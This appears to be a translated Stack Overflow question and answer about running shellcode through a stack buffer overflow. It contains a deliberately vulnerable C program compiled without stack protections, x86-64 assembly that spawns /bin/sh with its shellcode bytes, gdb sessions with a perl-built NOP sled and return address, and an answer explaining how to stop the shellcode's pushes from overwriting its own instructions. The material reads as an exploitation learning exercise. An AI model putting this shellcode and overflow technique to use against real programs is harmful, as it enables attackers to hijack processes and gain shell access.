堆栈中的代码自行更改

Code in stack changes by itself

我正在通过导致溢出来测试堆栈中的运行代码。我在堆栈中获取指向我的汇编代码的指导指针,然后它开始运行。然而,在某一时刻,说明似乎会自行改变,我在解决这个问题时遇到了一些小麻烦。

bug2.c:

#include <stdio.h>
# Very simple case, compiled by
# gcc -o bug2 -z execstack -fno-pie -fno-stack-protector bug2.c

int main(int argc, char * argv[]) {

    char buf[256];

    if(argc == 1) {

        printf("Usage: %s input\n", argv[0]);
        exit(0);

    }

    strcpy(buf,argv[1]);
    printf("%s", buf);

}

scode3.asm:

SECTION .text
    global _start

_start:

    xor rdx, rdx
    mov rbx, 0x68732f6e69622fff
    shr rbx, 0x8
    push    rbx
    mov     rdi, rsp
    xor     rax, rax
    push    rax
    push    rdi
    mov     rsi, rsp
    mov al, 0x3b
    syscall

    push    0x1
    pop     rdi
    push    0x3c
    pop     rax
    syscall

正在测试 scode3.asm 并获取 shellcode:

$ nasm -f elf64 -o scode3.o scode3.asm
$ ld -o scode3 scode3.o
$ ./scode3
$ ... gave new shell... exit...
$ objdump -d scode3

scode3:     file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
  400080:   48 31 d2                xor    %rdx,%rdx
  400083:   48 bb ff 2f 62 69 6e    movabs [=2=]x68732f6e69622fff,%rbx
  40008a:   2f 73 68 
  40008d:   48 c1 eb 08             shr    [=2=]x8,%rbx
  400091:   53                      push   %rbx
  400092:   48 89 e7                mov    %rsp,%rdi
  400095:   48 31 c0                xor    %rax,%rax
  400098:   50                      push   %rax
  400099:   57                      push   %rdi
  40009a:   48 89 e6                mov    %rsp,%rsi
  40009d:   b0 3b                   mov    [=2=]x3b,%al
  40009f:   0f 05                   syscall 
  4000a1:   6a 01                   pushq  [=2=]x1
  4000a3:   5f                      pop    %rdi
  4000a4:   6a 3c                   pushq  [=2=]x3c
  4000a6:   58                      pop    %rax
  4000a7:   0f 05                   syscall 

This makes "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f
\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31
\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01
\x5f\x6a\x3c\x58\x0f\x05"

然后测试:

gdb -q bug2
# Let's put breakpoint at the printf (see the c code)
> break *0x0000000000400641
 Breakpoint 1 at 0x400641
> x/i 0x0000000000400641
 0x400641 <main+123>:   call   0x400490 <printf@plt>
# Run with something that overflows, puts assembler code in stack, and leaves a pointer in stack pointing to the beginning of the assembler code
> run `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
Starting program: /home/meh/bug2 `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0000000000000000  RCX: 0xBE90050F583C6A5F  RDX: 0x007FFFFFFFDCBE90  o d I t s z a P c 
  RSI: 0x00007FFFFFFFDBE0  RDI: 0x00000000004006F1  RBP: 0x00007FFFFFFFDCE0  RSP: 0x00007FFFFFFFDBD0  RIP: 0x0000000000400641
  R8 : 0x000000335BDB8E80  R9 : 0x000000335BDB8E80  R10: 0x000000000000005D  R11: 0x000000335BB7F980  R12: 0x00000000004004D0
  R13: 0x00007FFFFFFFDDC0  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B                
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x400641 <main+123>: call   0x400490 <printf@plt>
   0x400646 <main+128>: leave  
   0x400647 <main+129>: ret    
   0x400648:    nop    DWORD PTR [rax+rax*1+0x0]
   0x400650 <__libc_csu_init>:  push   r15
   0x400652 <__libc_csu_init+2>:    push   r14
   0x400654 <__libc_csu_init+4>:    mov    r15d,edi
   0x400657 <__libc_csu_init+7>:    push   r13
-----------------------------------------------------------------------------------------------------------------------------

Breakpoint 1, 0x0000000000400641 in main ()

# Okay, now let's step to the point where the instruction pointer is at the code that was put in stack:

> n 3
 0x00007fffffffdcbe in ?? ()
> x/16i 0x00007fffffffdcbe
=> 0x7fffffffdcbe:  xor    rdx,rdx
   0x7fffffffdcc1:  movabs rbx,0x68732f6e69622fff
   0x7fffffffdccb:  shr    rbx,0x8
   0x7fffffffdccf:  push   rbx
   0x7fffffffdcd0:  mov    rdi,rsp
   0x7fffffffdcd3:  xor    rax,rax
   0x7fffffffdcd6:  push   rax
   0x7fffffffdcd7:  push   rdi
   0x7fffffffdcd8:  mov    rsi,rsp
   0x7fffffffdcdb:  mov    al,0x3b
   0x7fffffffdcdd:  syscall 
   0x7fffffffdcdf:  push   0x1
   0x7fffffffdce1:  pop    rdi
   0x7fffffffdce2:  push   0x3c
   0x7fffffffdce4:  pop    rax
   0x7fffffffdce5:  syscall

这看起来是正确的代码。然后手动进入系统调用:

> si
=> 0x7fffffffdcd6:  push   rax
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0068732F6E69622F  RCX: 0x000000007FFFFEF1  RDX: 0x0000000000000000  o d I t s Z a P c 
  RSI: 0x00000000004006F3  RDI: 0x00007FFFFFFFDCE8  RBP: 0x90050F583C6A5F01  RSP: 0x00007FFFFFFFDCE0  RIP: 0x00007FFFFFFFDCD7
  R8 : 0x00000000FFFFFFFF  R9 : 0x000000000000010E  R10: 0x0000000000000022  R11: 0x0000000000000246  R12: 0x00000000004004D0
  R13: 0x00007FFFFFFFDDC0  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B                
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffdcd7:  push   rdi
   0x7fffffffdcd8:  mov    rsi,rsp
   0x7fffffffdcdb:  mov    al,0x3b
   0x7fffffffdcdd:  syscall 
   0x7fffffffdcdf:  push   0x0
   0x7fffffffdce1:  add    BYTE PTR [rax],al
   0x7fffffffdce3:  add    BYTE PTR [rax],al
   0x7fffffffdce5:  add    BYTE PTR [rax],al
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffdcd7 in ?? ()

(gdb) > si
=> 0x7fffffffdcd7:  push   rdi
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0068732F6E69622F  RCX: 0x000000007FFFFEF1  RDX: 0x0000000000000000  o d I t s Z a P c 
  RSI: 0x00000000004006F3  RDI: 0x00007FFFFFFFDCE8  RBP: 0x90050F583C6A5F01  RSP: 0x00007FFFFFFFDCD8  RIP: 0x00007FFFFFFFDCD8
  R8 : 0x00000000FFFFFFFF  R9 : 0x000000000000010E  R10: 0x0000000000000022  R11: 0x0000000000000246  R12: 0x00000000004004D0
  R13: 0x00007FFFFFFFDDC0  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B                
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffdcd8:  call   0x7fffffffdcb9
   0x7fffffffdcdd:  jg     0x7fffffffdcdf
   0x7fffffffdcdf:  add    BYTE PTR [rax],al
   0x7fffffffdce1:  add    BYTE PTR [rax],al
   0x7fffffffdce3:  add    BYTE PTR [rax],al
   0x7fffffffdce5:  add    BYTE PTR [rax],al
   0x7fffffffdce7:  add    BYTE PTR [rdi],ch
   0x7fffffffdce9:  (bad)  
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffdcd8 in ?? ()

我原以为下一条指令是 mov rsi,rsp 但似乎从那一点开始的一切都变了。

我怀疑压栈会覆盖我之前插入的数据(指令)?解决此问题的最小方法是什么?

我尝试用

之类的东西稍微移动一下代码
run `perl -e 'print "\x90" x (263-81) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90" x 40 . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`

但它似乎对我没有帮助。

I suspect the pushing to stack overwrites my previously inserted data (instructions)? What would be the minimal way to fix this?

没错,你实际上是在修改自己脚下的代码(或者更确切地说,是你自己的RIP)。 我想到了两个简单的解决方案

  • NOP 填充

用几十条无偿的 NOP 指令启动你的 shellcode,这样当你到达 PUSH 指令时,被覆盖的是你后面的 NOP,而不是你当前正在尝试的代码 运行。

  • 将 RSP 移开

如果您不打算从您的 shellcode 返回到正常的堆栈帧并且您有严格的大小限制,您可以将 RSP 向上移动一点堆栈,这样 PUSH 就不会在您当前的 RIP 下发生。 这将覆盖堆栈上的重要信息,但如果您已经运行将您的 shellcode 放在那里,您可能不会介意。